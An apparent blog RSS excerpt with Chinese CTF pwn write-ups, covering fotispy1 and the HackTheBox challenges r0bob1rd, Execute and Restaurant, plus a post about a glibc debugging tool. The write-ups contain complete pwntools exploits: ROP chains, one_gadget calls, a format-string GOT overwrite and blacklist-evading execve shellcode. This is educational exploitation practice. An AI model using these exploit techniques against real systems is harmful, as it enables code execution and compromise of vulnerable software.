&lt;pre&gt;&lt;code&gt;00000000 struct Userdata // sizeof=0x18
00000000 {
00000000     char *username;
00000008     char *password;
00000010     struct Favorite *favorites;
00000018 };

00000000 struct Favourite // sizeof=0x10
00000000 {
00000000     struct Favourite *next;
00000008     struct Song *song;
00000010 };

00000000 struct Song // sizeof=0x30
00000000 {
00000000     char *title;
00000008     int title_len;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     char *album;
00000018     int album_len;
0000001C     // padding byte
0000001D     // padding byte
0000001E     // padding byte
0000001F     // padding byte
00000020     char *from;
00000028     int from_len;
0000002C     // padding byte
0000002D     // padding byte
0000002E     // padding byte
0000002F     // padding byte
00000030 };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现 memcpy 会复制定长数据到 dest，但是 dest 只有 13 字节，怀疑可能有 BOF。运行程序测试了一下，确实崩溃了。&lt;/p&gt;
&lt;p&gt;:::tip
这里后期还得通过 display 函数泄漏 favourite 结构体的地址，因为我们不想执行第二次 while 循环，而覆盖返回地址一定会破坏原先的 favourite 结构体地址。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int display_fav()
{
  struct Favourite *v0; // rax
  char dest[13]; // [rsp+Bh] [rbp-15h] BYREF
  Favourite *favorites; // [rsp+18h] [rbp-8h]

  if ( login_idx == -1 )
  {
    LODWORD(v0) = puts(&quot;[-] No user has logged in yet.&quot;);
  }
  else
  {
    favorites = (Favourite *)users[(unsigned __int8)login_idx]-&amp;gt;favorites;
    memset(dest, 0, sizeof(dest));
    LODWORD(v0) = puts(&quot;[~] Your favorites:&quot;);
    while ( favorites )
    {
      memcpy(dest, favorites-&amp;gt;song-&amp;gt;title, (unsigned int)favorites-&amp;gt;song-&amp;gt;title_len);
      printf(&quot;    - Song: %s&quot;, dest);
      memcpy(dest, favorites-&amp;gt;song-&amp;gt;album, (unsigned int)favorites-&amp;gt;song-&amp;gt;album_len);
      printf(&quot; - %s&quot;, dest);
      memcpy(dest, favorites-&amp;gt;song-&amp;gt;from, (unsigned int)favorites-&amp;gt;song-&amp;gt;from_len);
      printf(&quot; - %s\n&quot;, dest);
      v0 = favorites-&amp;gt;next;
      favorites = favorites-&amp;gt;next;
    }
  }
  return (int)v0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续分析，发现 &lt;code&gt;add_song&lt;/code&gt; 会读取 256 字节数据，并设置对应数据的长度为 256。那配合上面的 &lt;code&gt;display_fav&lt;/code&gt;，就完全可以 BOF 打 ROP 了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int add_song()
{
  struct Userdata *v0; // rax
  struct Favorite *v2; // [rsp+8h] [rbp-38h]
  struct Song *song; // [rsp+10h] [rbp-30h]
  int from_len; // [rsp+1Ch] [rbp-24h]
  int album_len; // [rsp+20h] [rbp-20h]
  int title_len; // [rsp+24h] [rbp-1Ch]
  char *album; // [rsp+28h] [rbp-18h]
  char *from; // [rsp+30h] [rbp-10h]
  char *title; // [rsp+38h] [rbp-8h]

  if ( login_idx == -1 )
  {
    LODWORD(v0) = puts(&quot;[-] No user has logged in yet.&quot;);
  }
  else
  {
    title = (char *)calloc(256uLL, 1uLL);
    from = (char *)calloc(256uLL, 1uLL);
    album = (char *)calloc(256uLL, 1uLL);
    printf(&quot;[DEBUG] %p\n&quot;, &amp;amp;printf);
    printf(&quot;[~] Please enter a song title: &quot;);
    title_len = readn((__int64)title, 256LL);
    printf(&quot;[~] Please enter a who %s is from: &quot;, title);
    album_len = readn((__int64)album, 256LL);
    printf(&quot;[~] Please enter which album %s is on: &quot;, title);
    from_len = readn((__int64)from, 256LL);
    song = (struct Song *)calloc(48uLL, 1uLL);
    song-&amp;gt;from = from;
    song-&amp;gt;from_len = from_len;
    song-&amp;gt;title = title;
    song-&amp;gt;title_len = title_len;
    song-&amp;gt;album = album;
    song-&amp;gt;album_len = album_len;
    v2 = (struct Favorite *)calloc(16uLL, 1uLL);
    *((_QWORD *)v2 + 1) = song;
    *(_QWORD *)v2 = users[(unsigned __int8)login_idx]-&amp;gt;favorites;
    v0 = users[(unsigned __int8)login_idx];
    v0-&amp;gt;favorites = v2;
  }
  return (int)v0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    remote,
    u64,
)

FILE = &quot;./fotispy1&quot;
HOST, PORT = &quot;52.59.124.14&quot;, 5191

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc.so.6&quot;)


def register(target, username, password):
    target.sendlineafter(b&quot;Please enter your choice [E]: &quot;, b&quot;0&quot;)
    target.sendlineafter(b&quot;username: &quot;, username)
    target.sendlineafter(b&quot;password: &quot;, password)


def login(target, username, password):
    target.sendlineafter(b&quot;Please enter your choice [E]: &quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;username: &quot;, username)
    target.sendlineafter(b&quot;password: &quot;, password)


def leak(target):
    target.recvuntil(b&quot;[DEBUG] &quot;)
    return int(target.recvline().strip(), 16)


def add(target, song_title, song_from, song_on):
    target.sendlineafter(b&quot;Please enter your choice [E]: &quot;, b&quot;2&quot;)
    printf_addr = leak(target)

    target.sendlineafter(b&quot;title: &quot;, song_title)
    target.sendlineafter(b&quot;from: &quot;, song_from)
    target.sendlineafter(b&quot;on: &quot;, song_on)
    return printf_addr


def display(target):
    target.sendlineafter(b&quot;Please enter your choice [E]: &quot;, b&quot;3&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    register(target, b&quot;admin&quot;, b&quot;admin&quot;)
    login(target, b&quot;admin&quot;, b&quot;admin&quot;)
    printf_addr = add(target, b&quot;a&quot;, b&quot;a&quot;, b&quot;a&quot;)
    libc.address = printf_addr - libc.sym[&quot;printf&quot;]

    payload = b&quot;A&quot; * 0xD
    add(target, b&quot;a&quot;, b&quot;a&quot;, payload)
    display(target)

    target.recvuntil(b&quot;\x0a&quot;)
    target.recvuntil(b&quot;\x0a&quot;)
    favourite_addr = u64(target.recvuntil(b&quot;\x0a&quot;).strip()[-4:].ljust(0x8, b&quot;\x00&quot;))

    pop_rdi = libc.address + 0x00000000000277E5
    one_gadget = libc.address + 0xD515F
    payload = flat(
        b&quot;A&quot; * 0xD,
        favourite_addr,
        elf.bss(),
        pop_rdi,
        0x0,
        one_gadget,
    )
    add(target, b&quot;a&quot;, b&quot;a&quot;, payload)
    display(target)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;ENO{3v3ry_r0p_ch41n_st4rts_s0m3wh3r3}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>Dynabox: 跨平台 glibc 编译，调试相关问题的统一解决方案</title><link>https://cubeyond.net/posts/projects/dynabox/</link><guid isPermaLink="true">https://cubeyond.net/posts/projects/dynabox/</guid><description>The Swiss Army knife for tackle glibc related problems.</description><pubDate>Sun, 31 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import GithubCard from &quot;@components/misc/GithubCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;万事开头难……准备开始学习堆利用了，不过发现想要在 Arch Linux 上获得预期的源码级调试体验有点有点费劲，没有像 ubuntu 那样的 &lt;code&gt;libc6-dbg&lt;/code&gt; 软件包，试过配置 &lt;code&gt;debuginfod&lt;/code&gt; 服务，也没有解决问题（很爆炸，等我把这个项目撸完后才发现，原来用 ubuntu 的 &lt;a href=&quot;https://documentation.ubuntu.com/server/explanation/debugging/about-debuginfod/index.html&quot;&gt;debuginfod&lt;/a&gt; 地址就行了，不能用 arch 的……）。glibc-all-in-one 下载下来的 glibc 动态链接库默认也是 stripped 的，虽然它提供了 build 脚本，但那是针对 ubuntu 开发的，Arch 上使用会出现很多问题（比如我编译 glibc 2.23 就没成功）。&lt;/p&gt;
&lt;h2&gt;有关在宿主机上编译低版本 glibc 的问题&lt;/h2&gt;
&lt;p&gt;学习堆利用难免要自己写点程序，使用对应版本的 glibc 编译。起初我是用 glibc-all-in-one 下载对应 glibc 共享库，然后编译的时候通过 &lt;code&gt;-Wl,--rpath=&quot;$GLIBC_PATH/lib&quot;&lt;/code&gt; 和 &lt;code&gt;-Wl,--dynamic-linker=&quot;$GLIBC_PATH/lib/ld-linux-x86-64.so.2&quot;&lt;/code&gt; 指定使用对应的 loader 和 libc. 但运行却遇到 &lt;code&gt;Version &apos;GLIBC_2.34&apos; not found&lt;/code&gt; 问题，程序跑不起来，以致每次为了编译个程序还得启动个 docker，太麻烦了。&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;strings&lt;/code&gt; 看了一下，编译出来的程序有 &lt;code&gt;__libc_start_main@GLIBC_2.34&lt;/code&gt;，使用了高版本 glibc, 其它函数倒是正确使用了低版本 glibc, 比如 &lt;code&gt;malloc@GLIBC_2.2.5&lt;/code&gt;. 我本来以为是宿主机 gcc 版本太高，而我需要的 glibc 是 2.23, 可能之间相差太大了，所以不兼容。但是后来才知道，这和 gcc 毛关系都没有，而是因为 gcc 会从系统默认的 libc 动态链接库路径获得各种共享对象文件，虽然我编译的时候设置了 loader 和查找 libc 的路径，但是其它库文件还是会从默认路径去取。导致一部分是正确链接了低版本库，一部分没找到的就链接了系统默认的高版本库。&lt;/p&gt;
&lt;p&gt;总之期间走了不少弯路，花了两天去折腾怎么安装低版本 gcc，因为 Arch 是滚动更新，所有软件都保持在最新版本，bro 想弄个低版本 gcc 太不容易了。AUR 上提供的 gcc 包安装编译各种问题层出不穷。本以为看到 AUR 是看到了希望，现实却让人大失所望……&lt;/p&gt;
&lt;p&gt;因为路线错误，一心以为换个低版本 gcc 就能解决问题，所以我还是坚持研究出来了怎么在 Arch 上编译低版本 gcc，学到了如何写 PKGBUILD、如何使用 Arch build system 和如何使用 chroot 等……虽然折腾期间学到了不少新知识，但很不幸，当我兴奋地将历经九九八十一难编译出来的低版本 gcc 安装到机子上后……编译！运行！草！为毛还是 &lt;code&gt;Version &apos;GLIBC_2.34&apos; not found&lt;/code&gt;！感觉受到了致命打击……研究了两天的成果并没有软用，但至少也说明了和 gcc 版本没关系，而是另有所因……&lt;/p&gt;
&lt;p&gt;最终，在我的严厉拷问&amp;lt;s&amp;gt;（软磨硬泡）&amp;lt;/s&amp;gt;下，AI 给出了一个我从未见过的 &lt;code&gt;-B&lt;/code&gt; 编译选项。我也是非常渴望解决问题啊，直接就拿来测试了。再编译，运行……？居然成功了！之后我 &lt;code&gt;gcc --help&lt;/code&gt; 查了一下这个选项的含义，发现对其的描述是 &lt;code&gt;-B &amp;lt;directory&amp;gt;  Add &amp;lt;directory&amp;gt; to the compiler&apos;s search paths.&lt;/code&gt;. 好家伙，搞了半天编译的时候只设置 loader 和 libc 路径并没有用啊，还得设置一个默认搜索路径……不过我也曾试过用 &lt;code&gt;-I&lt;/code&gt; 和 &lt;code&gt;-L&lt;/code&gt; 设置库路径，却没成功，可能是编译不只是用到了库，还有别的东西？&lt;/p&gt;
&lt;p&gt;至此，直接在宿主机下编译使用低版本 glibc 程序的问题，终于 tmd 解决了！&lt;/p&gt;
&lt;p&gt;这里必须要吐槽一下，即便是 GPT-5 对于这些问题，知识面也不是很足啊，我天天问，各种角度问，它就是给不出正确的解决方案，老是搁那儿一本正经地胡说八道……&lt;/p&gt;
&lt;h2&gt;gdb 调试没有符号信息&lt;/h2&gt;
&lt;p&gt;解决了使用宿主机编译低版本 glibc 程序的问题，接下来就该解决一下没有 debug symbols 的问题了。glibc-all-in-one 下载的 glibc 都是 stripped 的，虽然里面提供了 &lt;code&gt;.debug&lt;/code&gt; 目录，保存了调试信息，但当我将这写调试信息加载到 gdb 中后，gdb 的 heap 命令就被破坏了。原因可能是直接加载调试信息并不会自动设置 libc 基地址，加载出来的都是各种符号在 libc 里面的偏移。而 heap 指令又依赖 glibc 信息和各种结构体信息，比如 &lt;code&gt;mp_&lt;/code&gt; 什么的……因此如果只是加载了偏移地址，而没有设置基地址，那自然会破坏这些指令的配置。这块儿我也研究了半天，试过加载的时候自动设置基地址，不过好像没有这样的指令，也试过根据 &lt;code&gt;heap-config&lt;/code&gt; 所需的信息手动计算物理地址修复 heap 指令的使用，但是既麻烦，也没有成功……&lt;/p&gt;
&lt;p&gt;让人心态爆炸的是，等我撸完了这个项目后才发现 glibc-all-in-one 下载下来的共享对象文件里面的 &lt;code&gt;.debug&lt;/code&gt; 目录，包含的并不是单纯的调试信息文件，而是 tmd 没 strip 的共享对象文件……为此我之前还特地写了一个 gdb 插件 &lt;a href=&quot;https://github.com/CuB3y0nd/load-symbols&quot;&gt;load-symbols&lt;/a&gt;，迭代加载指定目录下的 debug 信息……只能说当时被别人的博客误导了，然后自己也没注意看，眼睛瞎了，隔了那么就才发现……要不是在群里和其他师傅们交流，我可能到现在都没发现也说不准……不过没事，手动 patchelf 指定它的路径写起来也麻烦，更重要的是，它虽然也提供了没 strip 的 libc，但这只能解决已有二进制文件的运行问题，如果想在宿主机上自己编译使用低版本 libc 的程序就不行了，还是需要有编译好的版本。&lt;/p&gt;
&lt;p&gt;无奈，摆在我面前的是两条路：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;调试的时候手动计算各种符号的物理地址，下断点&lt;/li&gt;
&lt;li&gt;使用别人配置好的虚拟机环境，或者自己整一个&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;老实说两个方法都很麻烦，我一个也不想用……我只是想本地能直接使用 &lt;code&gt;b *_int_free&lt;/code&gt; 这样的指令而已，为啥那么费劲呀……&lt;/p&gt;
&lt;p&gt;被逼无奈，当时是准备搭一个 Docker 调试环境的，试了下 &lt;a href=&quot;https://github.com/skysider/pwndocker&quot;&gt;pwndocker&lt;/a&gt;，但是发现里面的工具版本都比较老了，于是强迫症+完美主义的我想自己从头开始构建一个 Docker Pwn 环境。最后确实是搭好了，&amp;lt;s&amp;gt;但是我一次都没用过……&amp;lt;/s&amp;gt;心理那叫一个难受啊，哈哈哈，我本来就用的 Linux, 只想在本地解决所有问题，而不是每次要做点什么的时候还必须放到虚拟机里面去做，那多麻烦，多奇怪啊，加之我平时虚拟机用的就少，还得学习一下它的用法，感觉学习成本太高了，我只是想开开心心地直接开始做事。还有一个原因就是虚拟机环境和我本地环境配置有很大出入，所以用起来一点也不舒服，而我又懒得去配，让它和我本地统一……~懒成这样是不是没救了？~&lt;/p&gt;
&lt;h2&gt;Dynabox&lt;/h2&gt;
&lt;p&gt;嗯……上面就是创建这个项目的原因了，虽然这个项目底层本质上还是用虚拟机，但这或许是最好的解决本地不能编译的问题的方法了。不过我的脚本已经将虚拟机的操作完全封装好了，不需要学习任何有关 Docker 的使用，所以还是很方便滴。&lt;/p&gt;
&lt;p&gt;项目地址下面给出了，感兴趣的师傅可以去试试看，能给个 star 的话最好不过了哈哈。&lt;/p&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/Dynabox&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;至于这个工具怎么用我就不在这里赘述了，请师傅们移步项目 README. 本来写这篇博客也就是为了随便记录一下折腾的过程，虽然不知道写这个有啥用，但就是想写哈哈哈。&lt;/p&gt;
&lt;p&gt;后期打算用其它语言重构一下，因为考虑到后面子命令越来越多，shell 脚本可能会长到难以维护。正好也能锻炼一下开发能力吧，因为平时自己写代码的时间太少了。&lt;/p&gt;
&lt;p&gt;比较可惜的是，也是在我自己撸完这个项目后才发现的，有个叫 &lt;a href=&quot;https://github.com/io12/pwninit&quot;&gt;pwninit&lt;/a&gt; 的项目已经实现了和我这个项目类似的功能，不过他的项目并没有解决本地编译低版本 glibc 程序的问题，所以我这个项目还是有点不一样的东西的 xD&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: HackTheBox</title><link>https://cubeyond.net/posts/write-ups/hackthebox-pwn-challenges/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/hackthebox-pwn-challenges/</guid><description>Write-ups for HackTheBox&apos;s pwn challenges.</description><pubDate>Thu, 24 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;r0bob1rd&lt;/h1&gt;
&lt;h2&gt;Difficulty&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EASY&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I am developing a brand new game with robotic birds. Would you like to test my progress so far?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 operation()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h] BYREF
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(&quot;\nSelect a R0bob1rd &amp;gt; &quot;);
  fflush(stdout);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;v1);
  if ( v1 &amp;gt; 9 )
    printf(&quot;\nYou&apos;ve chosen: %s&quot;, (const char *)&amp;amp;(&amp;amp;robobirdNames)[v1]);
  else
    printf(&quot;\nYou&apos;ve chosen: %s&quot;, (&amp;amp;robobirdNames)[v1]);
  getchar();
  puts(&quot;\n\nEnter bird&apos;s little description&quot;);
  printf(&quot;&amp;gt; &quot;);
  fgets(s, 106, stdin);
  puts(&quot;Crafting..&quot;);
  usleep(0x1E8480u);
  start_screen();
  puts(&quot;[Description]&quot;);
  printf(s);
  return __readfsqword(0x28u) ^ v3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;观察到 &lt;code&gt;operation&lt;/code&gt; 函数存在几个漏洞：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;if ( v1 &amp;gt; 9 )&lt;/code&gt; 没有对 &lt;code&gt;v1&lt;/code&gt; 做边界检查，OOB&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fgets(s, 106, stdin);&lt;/code&gt; BOF&lt;/li&gt;
&lt;li&gt;&lt;code&gt;printf(s);&lt;/code&gt; 格式化字符串&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;先看看 &lt;code&gt;robobirdNames&lt;/code&gt; 附近有什么东西：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/a &amp;amp;robobirdNames
0x6020a0 &amp;lt;robobirdNames&amp;gt;: 0x400ce8
pwndbg&amp;gt; x/50gx 0x6020a0-0x100
0x601fa0: 0x0000000000000000 0x0000000000000000
0x601fb0: 0x0000000000000000 0x0000000000000000
0x601fc0: 0x0000000000000000 0x0000000000000000
0x601fd0: 0x0000000000000000 0x0000000000000000
0x601fe0: 0x0000000000000000 0x0000000000000000
0x601ff0: 0x00007ffff7c58f90 0x0000000000000000
0x602000: 0x0000000000601e10 0x00007ffff7e29190
0x602010: 0x00007ffff7c15df0 0x0000000000400766
0x602020 &amp;lt;puts@got.plt&amp;gt;: 0x00007ffff7cb9420 0x0000000000400786
0x602030 &amp;lt;printf@got.plt&amp;gt;: 0x00007ffff7c96c90 0x00007ffff7d17d90
0x602040 &amp;lt;fgets@got.plt&amp;gt;: 0x00000000004007b6 0x00000000004007c6
0x602050 &amp;lt;signal@got.plt&amp;gt;: 0x00007ffff7c77f00 0x00007ffff7cb7340
0x602060 &amp;lt;setvbuf@got.plt&amp;gt;: 0x00007ffff7cb9ce0 0x00007ffff7c980b0
0x602070 &amp;lt;usleep@got.plt&amp;gt;: 0x0000000000400816 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0 &amp;lt;robobirdNames&amp;gt;: 0x0000000000400ce8 0x0000000000400cf2
0x6020b0 &amp;lt;robobirdNames+16&amp;gt;: 0x0000000000400cff 0x0000000000400d0c
0x6020c0 &amp;lt;robobirdNames+32&amp;gt;: 0x0000000000400d18 0x0000000000400d26
0x6020d0 &amp;lt;robobirdNames+48&amp;gt;: 0x0000000000400d30 0x0000000000400d40
0x6020e0 &amp;lt;robobirdNames+64&amp;gt;: 0x0000000000400d4b 0x0000000000400d5b
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100 &amp;lt;stdout@@GLIBC_2.2.5&amp;gt;: 0x00007ffff7e226a0 0x0000000000000000
0x602110 &amp;lt;stdin@@GLIBC_2.2.5&amp;gt;: 0x00007ffff7e21980 0x0000000000000000
0x602120 &amp;lt;stderr@@GLIBC_2.2.5&amp;gt;: 0x00007ffff7e225c0 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到这个地址下方不远处就是 &lt;code&gt;got&lt;/code&gt; 表，因此我们可以通过输入负索引来泄漏它，然后算出 &lt;code&gt;libc&lt;/code&gt; 基址。&lt;/p&gt;
&lt;p&gt;所以最后思路应该是泄漏 &lt;code&gt;setvbuf&lt;/code&gt;，计算出 one_gadget 的地址，再利用格式化字符串漏洞篡改 &lt;code&gt;__stack_chk_fail&lt;/code&gt; 为 one_gadget 地址。而为了触发 &lt;code&gt;__stack_chk_fail&lt;/code&gt;，我们需要利用 &lt;code&gt;fgets&lt;/code&gt; 的 BOF 来破坏 canary.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    fmtstr_payload,
    process,
    raw_input,
    remote,
    u64,
)

FILE = &quot;./r0bob1rd&quot;
HOST, PORT = &quot;94.237.122.117&quot;, 56995

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./glibc/libc.so.6&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    target.sendlineafter(b&quot;&amp;gt; &quot;, str(-8))
    target.recvuntil(b&quot;: &quot;)

    setvbuf = u64(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;))
    libc.address = setvbuf - libc.sym[&quot;setvbuf&quot;]
    one_gadget = libc.address + 0xE3B01

    fmtstr = fmtstr_payload(
        8, {elf.got[&quot;__stack_chk_fail&quot;]: one_gadget}, write_size=&quot;short&quot;
    )
    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, fmtstr.ljust(106, b&quot;\x00&quot;))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Execute&lt;/h1&gt;
&lt;h2&gt;Difficulty&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EASY&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Can you feed the hungry code?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;保护全开，但是栈可执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gcc execute.c -z execstack -o execute

#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(0x7f);
}

int check(char *blacklist, char *buf, int read_size, int blacklist_size) {
  for (int i = 0; i &amp;lt; blacklist_size; i++) {
    for (int j = 0; j &amp;lt; read_size - 1; j++) {
      if (blacklist[i] == buf[j])
        return 0;
    }
  }

  return 1337;
}

int main() {
  char buf[62];
  char blacklist[] =
      &quot;\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67&quot;;

  setup();

  puts(&quot;Hey, just because I am hungry doesn&apos;t mean I&apos;ll execute everything&quot;);

  int size = read(0, buf, 60);

  if (!check(blacklist, buf, size, strlen(blacklist))) {
    puts(&quot;Hehe, told you... won&apos;t accept everything&quot;);
    exit(1337);
  }

  ((void (*)())buf)();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序对我们的输入做了一个检查，禁用了一些字节，除此以外没有太多限制。所以思路还是打 shellcode.&lt;/p&gt;
&lt;p&gt;关于 mask 的爆破，利用了 &lt;code&gt;a ^ b ^ b = a&lt;/code&gt; 的性质。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    asm,
    context,
    disasm,
    log,
    p64,
    process,
    raw_input,
    remote,
    u64,
)

FILE = &quot;./execute&quot;
HOST, PORT = &quot;94.237.54.192&quot;, 31583

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    blacklist = set(b&quot;\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67&quot;)
    mask = b&quot;&quot;
    target_string = u64(b&quot;/bin/sh&quot;.ljust(0x8, b&quot;\x00&quot;))

    for byte in range(0, 0x100):
        mask = int(f&quot;{byte:02x}&quot; * 8, 16)
        encoded = p64(mask ^ target_string)

        if all(byte not in blacklist for byte in encoded):
            log.success(f&quot;Found mask: {hex(mask)}&quot;)
            break

    payload = asm(f&quot;&quot;&quot;
        mov rax, {mask}
        push rax
        mov rax, {mask} ^ {target_string}
        xor [rsp], rax
        mov rdi, rsp
        push 0
        pop rsi
        push 0
        pop rdx
        mov rbx, 0x3a
        inc rbx
        mov rax, rbx
        syscall
    &quot;&quot;&quot;)

    log.success(disasm(payload))

    for byte in payload:
        if byte in blacklist:
            log.warn(f&quot;Bad byte: {byte:2x}&quot;)

    # raw_input(&quot;DEBUG&quot;)
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Restaurant&lt;/h1&gt;
&lt;h2&gt;Difficulty&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EASY&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don&apos;t overdo it..&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;只提供了 libc，为了 patchelf 还得去找对应 &lt;code&gt;ld&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/Projects/pwn/Restaurant/ strings libc.so.6 | grep &quot;GLIBC&quot;
GLIBC_2.2.5
GLIBC_2.2.6
GLIBC_2.3
GLIBC_2.3.2
GLIBC_2.3.3
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.5
GLIBC_2.6
GLIBC_2.7
GLIBC_2.8
GLIBC_2.9
GLIBC_2.10
GLIBC_2.11
GLIBC_2.12
GLIBC_2.13
GLIBC_2.14
GLIBC_2.15
GLIBC_2.16
GLIBC_2.17
GLIBC_2.18
GLIBC_2.22
GLIBC_2.23
GLIBC_2.24
GLIBC_2.25
GLIBC_2.26
GLIBC_2.27
GLIBC_PRIVATE
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到使用的是 &lt;code&gt;GLIBC 2.27&lt;/code&gt;，通过 &lt;code&gt;glibc-all-in-one&lt;/code&gt; 下载 release 版本的 GLIBC，得到对应 &lt;code&gt;ld&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;使用以下命令来 patchelf，&lt;code&gt;--set-rpath .&lt;/code&gt; 是让它在当前目录下自己找 &lt;code&gt;libc.so.6&lt;/code&gt;，我们只要通过 &lt;code&gt;--set-interpreter&lt;/code&gt; 设置好动态连接器就行了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo patchelf --set-interpreter &quot;$(pwd)/ld-2.27.so&quot; --set-rpath . ./restaurant
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个程序本身没什么复杂的，注意到只有 &lt;code&gt;fill&lt;/code&gt; 函数里面的一个 &lt;code&gt;read&lt;/code&gt; 存在 BOF，用它构造 ROP Chain 就好了。先泄漏 libc，然后再返回到 &lt;code&gt;fill&lt;/code&gt; 二次输入。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import ELF, ROP, args, context, flat, process, raw_input, remote, u64

FILE = &quot;./restaurant&quot;
HOST, PORT = &quot;94.237.60.55&quot;, 54861

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)
libc = ELF(&quot;./libc.so.6&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(1))

    payload = flat(
        b&quot;A&quot; * 0x28, rop.rdi.address, elf.got[&quot;puts&quot;], elf.plt[&quot;puts&quot;], elf.sym[&quot;fill&quot;]
    )
